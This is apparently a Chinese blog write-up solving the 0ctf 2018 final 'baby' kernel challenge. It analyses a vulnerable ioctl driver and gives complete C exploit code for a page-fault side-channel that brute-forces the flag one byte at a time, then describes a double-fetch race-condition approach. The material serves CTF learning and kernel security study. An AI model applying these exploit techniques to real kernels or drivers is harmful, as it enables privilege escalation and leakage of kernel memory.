2018-07-20

【KERNEL PWN】0ctf 2018 final baby题解

题目分析

题目代码很简单，仅注册了ioctl函数，里面包含了两个case，在参数为0x6666时，可以泄露出bss段flag的地址。

在参数为0x1337时，用户输入是一个结构体，而传入驱动的是一个指针。

这个结构体应该是这样的：

struct _input 
{
	char *flag;
	size_t len;
};

对这个结构体指针进行一系列判断以后，会比较结构体中的flag指针指向的内容和长度，当比较的用户输入长度和内容都是flag时，使用printk打印flag内容。

仔细查看一下_chk_range_not_ok，看类C代码看不出什么意思，查看一下汇编代码：

.text:0000000000000000 __chk_range_not_ok proc near            ; CODE XREF: baby_ioctl+7B↓p
.text:0000000000000000                                         ; baby_ioctl+BD↓p
.text:0000000000000000                 push    rbp
.text:0000000000000001                 add     rdi, rsi
.text:0000000000000004                 mov     rbp, rsp
.text:0000000000000007                 jb      short loc_11
.text:0000000000000009                 cmp     rdx, rdi
.text:000000000000000C                 setb    al
.text:000000000000000F                 pop     rbp
.text:0000000000000010                 retn
.text:0000000000000011 ; ---------------------------------------------------------------------------
.text:0000000000000011
.text:0000000000000011 loc_11:                                 ; CODE XREF: __chk_range_not_ok+7↑j
.text:0000000000000011                 mov     eax, 1
.text:0000000000000016                 pop     rbp
.text:0000000000000017                 retn
.text:0000000000000017 __chk_range_not_ok endp

可以看出，是将第一个参数和第二个参数相加，判断是否小于第三个参数，如果不小于将al置为1。

在动态调试的时候，发现第三个参数是一个常量： 0x7ffffffff000

这样的话，题目就很清楚了。判断的限制是传入的结构体+16，也就是整个结构体要在用户态中，并且结构体中第一个成员所指向的内存也要在用户态中。并且第二个参数要和bss段上的flag长度相等。这样会逐字节比较输入的flag是否等于bss保存的flag。

环境搭建

和libc的pwn题不太一样，内核驱动的pwn需要驱动在一个版本的内核代码下编译，否则无法运行。

在程序代码中可以看到一个内核版本号——4.15.0-22-generic SMP mod_unload，我从官网源代码下载的版本只有4.15.0而没有-22的小版本。

此时，可以通过下载相应的内核deb包。

1	apt download linux-image-4.15.0-22-generic

下载得到的linux-image-4.15.0-22-generic_4.15.0-22.24~16.04.1_amd64.deb中data.tar.xz下的boot中可以找到一个叫vmlinuz-4.15.0-22-generic的文件，这就是需要的内核映像。

此处需要明确文件的区别 //一定是我太菜才不知道

vmlinux：这个是编译出来原始的内核，未经过压缩，不能直接通过qemu启动，是一个ELF文件，里面包括了符号表等等一系列内核相关的指令，可以用IDA Pro查看，可以找gadget等等等等。类比于libc pwn中的libc-2.23.so之类的，给了这个东西就可以找gadget、找地址偏移等等。

bzImage：这个是vmlinux压缩以后，并且加上一段解压启动代码得到。这个东西可以放到QEMU中跑，但是不能用IDA打开。

*.cpio：这个东西一般都是打包生成的，最开始是从busybox中导出来的，类似于启动的文件系统吧（？）一般kernel pwn会在这里放*.ko。甚至放vmlinux…

漏洞利用

环境搭建起来了，就可以看一下漏洞如何利用了。比赛中出现了两种解题方法，一种是预期解，另外一种是侧信道攻击。

侧信道攻击

所谓侧信道攻击就是用能标明flag内容的方法，通过其他表现形式把flag爆破出来。

在程序中存在一个问题，就是在比较之前没有判断用户输入的flag段是否可读的，当输入的flag处于不可读段的时候，在比较时会触发段错误，从而造成kernel panic，利用这种现象可以用一下方法每次爆破一个字节的flag。

方法原理如下，利用mmap新建3个段，第一个、第三个权限设为000，第二可读写，并且每次将已有的flag防止在第二个段的最后，每次最后一个字节时爆破的字节，当这个字节和flag不符合时，内核驱动会退出，因此不触发错误。而当最后一个字节正确时，程序比较会下移一个字节，触发错误，引起kernel panic，从而可以判断出单字节的flag，原理如下：

这样测试33次就可以得到flag了。

EXP

// start.c 
// for start pwn.c
#include <stdio.h>

int main(){
	char *ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%%&\\'()*+,-./:;<=>?@[]^_`{|}~";
	char input[34]= {0};
	char order[0x100];
	char order2[0x100];
	FILE * fd = fopen("save.txt","a+");
	fscanf(fd,"%s",input);
	for(int i = 1;i<strlen(ch);i++){
		if (ch[i] == '\"' ||  ch[i] == '\\' || ch[i] == '`' ){
			sprintf(order,"echo \"%s\\%c\" > save.txt",input,ch[i]);
			sprintf(order2,"./pwn %s\\%c",input,ch[i] );
		}
		else{
		sprintf(order,"echo \"%s%c\" > save.txt",input,ch[i]);
		sprintf(order2,"./pwn %s%c",input,ch[i] );
		}
		printf("%s\n",order2);
		system(order);
		system(order2);

		//strcpy(order,"echo \"");
		//strcpy
		//system("")
	}

}

/*----------------------------------------------------------------------------------------*/
// pwn.c
// test per round
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct _input 
{
	char *flag;
	size_t len;
};
int main(int argc,char *argv[])
{
	int i , fd;
	char *buf;
	struct _input input ;  
	if (argc!=2){
		printf("argc error");
		return -1;
	}
	printf("<= DBG => input : %s len: %d \n",argv[1],strlen(argv[1]));
	mmap(0,0x1000,PROT_NONE,MAP_SHARED|MAP_ANONYMOUS,0,0);
	buf = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS,0,0);
	mmap(0,0x1000,PROT_NONE,MAP_SHARED|MAP_ANONYMOUS,0,0);
	if(buf>0)
		printf("<= DBG => get a memeroy: %p\n",buf);
	for(i=0 ; i<strlen(argv[1]);i++){
		buf[0x1000 - strlen(argv[1]) + i] = argv[1][i];
		printf("<= DBG => addr: %p content: %c \n", &buf[0x1000 - strlen(argv[1]) + i], argv[1][i] );
	}
	fd = open("/dev/baby",O_RDWR);
	if(fd<0){
		printf("cannot open /dev/baby\n");
		return -1;
	}
	printf("<= DBG => fd of /dev/baby: %d\n",fd);
	((struct _input * )buf)->len = 33;
	((struct _input * )buf)->flag = (buf+0x1000-strlen(argv[1]));
	printf("<= DBG => input: %p\n",input.flag);	
	ioctl(fd,0x1337,buf);
	close(fd);
}

预期解

预期解的漏洞叫做double fetch漏洞，应该算是一种竞争条件漏洞

Serna[ Serna, F. J. MS08-61:thecaseofthekernelmodedoublefetch,2008.https://blogs.technet.microsoft.com/srd/2008/10/14/ms08-061-the-case-of-the-kernel-mode-double-fetch/.]

用户通常会通过调用内核函数完成特定功能，当内核函数两次从同一用户内存地址读取同一数据时，通常第一次读取用来验证数据或建立联系，第二次则用来使用该数据。与此同时，用户空间并发运行的恶意线程可以在两次内核读取操作之间，利用竞争条件对该数据进行篡改，从而造成内核使用数据的不一致。Double fetch漏洞可造成包括缓冲区溢出、信息泄露、空指针引用等后果，最终造成内核崩溃或者恶意提权。

也就是说，参数是从用户态传进来的，当用户态对传入的结构体改变时，内核读到的数据也会被改变。

因此，在用户态新建一个线程不断的修改传入的结构体中flag指针为内核flag的值。当驱动运行时，恰好通过地址验证后，在数据判断之前内核数据flag地址被改掉的话，则可以做到通过内容验证，从而打印出flag内容。

printk输出的内容可以用dmesg来查看。

此处有个坑点，是QEMU默认启动时会使用当个core、单个thread，这样内核相当于是单进程的。

而单进程的内核很难触发这个漏洞，因此需要在QEMU启动时设置好内核和进程数如：

1	-m 256M -smp 2,cores=2,threads=1 \

这个问题坑了我好久，此处非常感谢Veritas501师傅。

具体EXP，Veritas501师傅的文章写的很好了，我没有什么创新点就不写了。

reference

https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/

https://www.secspace.com/view-ff3bbe863b544a929f96110e7b8992c8-e5cf621eacdb49b3b35b71a20e0ce9be.html

本文标题:【KERNEL PWN】0ctf 2018 final baby题解

文章作者:P4nda

发布时间:2018-07-20, 18:39:12

最后更新:2019-01-29, 21:40:18

原始链接:http://p4nda.top/2018/07/20/0ctf-baby/

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